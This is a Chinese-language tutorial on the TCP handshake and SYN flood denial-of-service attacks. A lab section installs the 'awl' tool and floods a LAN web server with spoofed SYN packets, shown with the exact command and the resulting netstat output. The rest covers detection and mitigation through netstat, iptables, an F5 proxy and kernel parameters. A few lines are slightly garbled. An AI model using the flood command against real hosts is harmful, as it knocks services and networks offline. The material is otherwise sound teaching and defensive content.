一、TCP三次握手
1.1 TCP報文段的頭部格式
1.1.1 報文格式
1.1.2 部分報文內容
- ACK:TCP協議規定,只有ack=1時,有效,也規定連接建立后,所有發送的報文ack必須為1。
- SYN :在連接建立時用來同步序列號,當SYN=1,而ACK=0時,表明這是一個連接請求報文,對方若同意建立連接,則應在響應報文中使SYS=1,和ACK=1,因此,SYN置1,就表示這是一個連接請求或連接接受報文。
- FIN 終結,用來釋放一個連接,當FIN=1,表明此報文段的發送方數據已經發送完畢,並要求釋放連接
1.2 三次握手流程
建立tcp 連接是的tcp三次握手,斷開tcp 連接的四次揮手
三次握手過程:
- Client:我可以給你發數據嗎
- Server:可以
- Client:好的,知道了
二、syn-洪水攻擊
2.1 概念
網站被攻擊多次,其中最猛烈的就是TCP洪水攻擊,即SYN Flood。
SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分布式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量偽造的TCP連接請求,常用假冒的IP或IP號段發來海量的請求連接的第一個握手包(SYN包),被攻擊服務器回應第二個握手包(SYN+ACK包),因為對方是假冒IP,對方永遠收不到包且不會回應第三個握手包。導致被攻擊服務器保持大量SYN_RECV狀態的“半連接”,並且會重試默認5次回應第二個握手包,塞滿TCP等待連接隊列,資源耗盡(CPU滿負荷或內存不足),讓正常的業務請求連接不進來。
2.2 原理
- SYN 洪水攻擊的過程:
在服務端返回一個確認的SYN-ACK包的時候有個潛在的弊端,如果發起的客戶是一個不存在的端,那么服務端需要耗費一定的數量的系統內存來等待這個未決的連接。直到等待關閉超時,一般是等待30~40s,並且可以重傳5,才能釋放連接。
- 如果惡意者通過IP 欺騙,發送大量SYN包給受害者系統,導致服務端存在大量未決的連接,並占用大量內存和tcp 連接,從而導致客戶端無法訪問服務端,這就是SYN洪水攻擊的過程。
2.2 模擬攻擊
2.2.1 上傳安裝包
1 [root@localhost ~]# cd /usr/src/
2 [root@localhost src]# ls awl軟件進行SYN洪水攻擊-開源沒有后門-awl-0.2.tar.gz
2.2.2 解壓、編譯安裝
[root@localhost src]# tar -zxvf awl軟件進行SYN洪水攻擊-開源沒有后門-awl-0.2.tar.gz [root@localhost ~]# cd /usr/src/awl-0.2/ [root@localhost awl-0.2]# ./configure #檢查安裝環境 [root@localhost awl-0.2]# make -j 1 [root@localhost awl-0.2]# make install [root@localhost ~]# awk awl [root@localhost ~]# which awl #查看安裝的位置 /usr/local/bin/awl
2.2.3 開始實戰
[root@localhost ~]#
- 開始攻擊
- awl 使用參數:
- 發送包的接口,如果省略默認是 eth 0
- -m 指定目標mac,如果-m 沒有指定mac,默認目標mac 就是FF.FF.FF.FF.FF.FF
- 全 F 就是向同以往段所有主機發出arp 廣播,進行SYN攻擊,還容易使整個局域網癱瘓
- -d 被攻擊的主機ip
- -p 被攻擊的主機端口
- 配置服務端
[root@localhost ~]# yum -y install httpd [root@localhost ~]# systemctl start httpd [root@localhost ~]# getenforce #關閉selinux Disabled [root@localhost ~]# systemctl stop firewalld #關閉防火牆 [root@localhost ~]# [root@localhost ~]# iptables -F [root@localhost ~]# 當我們安裝好后,過濾端口,發現默認只有一個80. [root@localhost ~]# [root@localhost ~]# netstat -antup |grep 80 tcp6 0 0 :::80 ::: LISTEN 1412/httpd
- 客戶端發起攻擊
[root@localhost ~]# arp -n # 查看arp 緩存,如果沒有看到167 的ip ,說明沒有產生連接,可以使用167 ssh 到121 ,然后退出,再次查看。
[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意:默數幾秒,ctrl +C停止操作,在去過濾167httpd服務
[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
會發現產生大量未知的ip地址,並且連接狀態為 SYN-RECV---- 在收到和發送一個連接請求后等待對方連接請求的確認
2.2.4 小結
- tcp 三從握手,提供可靠連接
- udp 支持vxlan ,用於OpenStack 私有雲、vlan 不夠用
- 如果編譯出現以下問題:
- configure: error:no acceptable C compiler found in $PATH
- 解決:熟悉tcp 三次握手協議
- yum -y install gcc-c++
- 熟悉tcp 三次握手協議
三、SYN Flood檢測和解決
3.1 問題檢測
3.1.1 檢查系統syslog
我們看到業務曲線大跌時,檢查機器和DNS,發現只是對外的web機響應慢、CPU負載高、ssh登陸慢甚至有些機器登陸不上,檢查系統syslog:
# tail -f /var/log/messages
Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.
3.1.2 利用netstat 命令驗證
3.1.2.1 指令
1 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
3.1.2.2 異常情況下的輸出
檢查連接數增多,並且SYN_RECV 連接特別多:
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 16855
CLOSE_WAIT 21
SYN_SENT 99
FIN_WAIT1 229
FIN_WAIT2 113
ESTABLISHED 8358
SYN_RECV 48965
CLOSING 3
LAST_ACK 313
3.1.2.3 正常情況下的輸出
根據經驗,正常時檢查連接數如下:
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 42349
CLOSE_WAIT 1
SYN_SENT 4
FIN_WAIT1 298
FIN_WAIT2 33
ESTABLISHED 12775
SYN_RECV 259
CLOSING 6
LAST_ACK 432
以上就是TCP洪水攻擊的兩大特征。執行netstat -na>指定文件,保留罪證。
3.1.2.4 小結
處於SYN_RECV狀態的半連接 再正常情況下不會有很多。
3.2 解決
3.2.1 應急處理
根據netstat查看到的對方IP特征:
# netstat -na |grep SYN_RECV|more
利用iptables臨時封掉最大嫌疑攻擊的IP或IP號段,例如對方假冒173.*.*.*號段來攻擊,短期禁用173.*.*.*這個大號段(要確認小心不要封掉自己的本地IP了!)
# iptables -A INPUT -s 173.0.0.0/8 -p tcp –dport 80 -j DROP
再分析剛才保留的罪證,分析業務,用iptables解封正常173.*.*.*號段內正常的ip和子網段。這樣應急處理很容易誤傷,甚至可能因為封錯了導致ssh登陸不了服務器,並不是理想方式。
3.2.2 使用F5阻擋攻擊
應急處理畢竟太被動,因為本機房的F5設備比較空閑,運維利用F5來擋攻擊,采用方式:讓客戶端先和F5三次握手,連接建立之后F5才轉發到后端業務服務器,實際上有點向代理。后來被攻擊時F5上看到的現象:
- 1. 連接數比平時多了500萬,攻擊停止后恢復。
- 2. 修改F5上我們業務的VS模式后,F5的CPU消耗比平時多7%,攻擊停止后恢復。
- 3. 用F5擋效果明顯,后來因攻擊無效后,用戶很少來攻擊了,畢竟攻擊也是有成本的。
3.2.3 調整系統參數擋攻擊
沒有F5這種高級且昂貴的設備怎么辦?我測試過以下參數組合能明顯減小影響,准備以后不用F5抗攻擊。
3.2.3.1 tcp_synack_retries (服務端SYN重傳次數)
第一個參數tcp_synack_retries = 0是關鍵,表示回應第二個握手包(SYN+ACK包)給客戶端IP后,如果收不到第三次握手包(ACK包)后,不進行重試,加快回收“半連接”,不要耗光資源。
如果不修改這個參數,模擬攻擊,10秒后被攻擊的80端口即無法服務,機器難以ssh登錄; 用命令netstat -na |grep SYN_RECV檢測“半連接”hold住180秒;然后修改這個參數為0,再模擬攻擊,持續10分鍾后被攻擊的80端口都可以服務,響應稍慢些而已,只是ssh有時也登錄不上;檢測“半連接”只hold住3秒即釋放掉。
修改這個參數為0的副作用:網絡狀況很差時,如果對方沒收到第二個握手包,可能連接服務器失敗,但對於一般網站,用戶刷新一次頁面即可。這些可以在高峰期或網絡狀況不好時tcpdump抓包驗證下。
根據以前的抓包經驗,這種情況很少,但為了保險起見,可以只在被tcp洪水攻擊時臨時啟用這個參數。
tcp_synack_retries默認為5,表示重發5次,每次等待30~40秒,即“半連接”默認hold住大約180秒。
之所以可以把tcp_synack_retries改為0,因為客戶端還有tcp_syn_retries參數,默認是5,即使服務器端沒有重發SYN+ACK包,客戶端也會重發SYN握手包。
3.2.3.1 tcp_max_syn_backlog (處於SYN_RECV的TCP最大連接數)
第二個參數net.ipv4.tcp_max_syn_backlog = 200000也重要,具體多少數值受限於內存。內核參數net.ipv4.tcp_max_syn_backlog定義了處於SYN_RECV的TCP最大連接數,當處於SYN_RECV狀態的TCP連接數超過tcp_max_syn_backlog后,會丟棄后續的SYN報文。
以下配置,第一段參數是最重要的,第二段參數是輔助的,其余參數是其他作用的:
# vi /etc/sysctl.conf
插入語句:net.ipv4.tcp_max_syn_backlog = 200000
使配置生效:sysctl -p
注意,以下參數面對外網時,不要打開。因為副作用很明顯,具體原因請google,如果已打開請顯式改為0,然后執行sysctl -p關閉。因為經過試驗,大量TIME_WAIT
狀態的連接對系統沒太大影響。
為了處理大量連接,還需改大另一個參數:
# vi /etc/security/limits.conf
在底下添加一行表示允許每個用戶都最大可打開409600個文件句柄(包括連接):
* – nofile 409600
此外需要注意,文件句柄不要超過系統限制/usr/include/linux/fs.h
,相關鏈接:http://blog.yufeng.info/archives/1380
1 #define NR_OPEN (1024*1024) /* Absolute upper limit on fd num */
3.3 TCP內核參數
TCP內核參數詳細解釋:http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html
四、參考文章
https://blog.csdn.net/weixin_42313749/article/details/104686758
https://www.cnblogs.com/zengkefu/p/5563636.html
http://www.360doc.com/showweb/0/0/990691790.aspx